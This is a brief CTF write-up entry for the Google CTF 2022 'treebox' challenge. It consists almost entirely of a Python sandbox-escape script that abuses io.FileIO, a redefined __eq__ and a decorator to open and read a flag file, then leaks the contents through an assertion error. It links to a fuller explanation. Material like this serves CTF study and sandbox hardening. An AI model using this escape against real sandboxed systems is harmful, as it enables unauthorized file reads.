Rating:

The explanation for this solution is in [the original write-up](https://ajmalsiddiqui.me/ctf-writeups/google-ctf-2022-treebox/).

```python
sys.stderr = sys.stdout

FileIO = sys.modules['io'].FileIO

class FlagIO(FileIO):
def __init__(self, fn):
pass

FlagIO.__eq__ = FileIO.__init__

@FlagIO
def hello():
pass

hello == "./flag"

flag = [a for a in hello]

assert False, flag
--END
```

Original writeup (https://ajmalsiddiqui.me/ctf-writeups/google-ctf-2022-treebox/).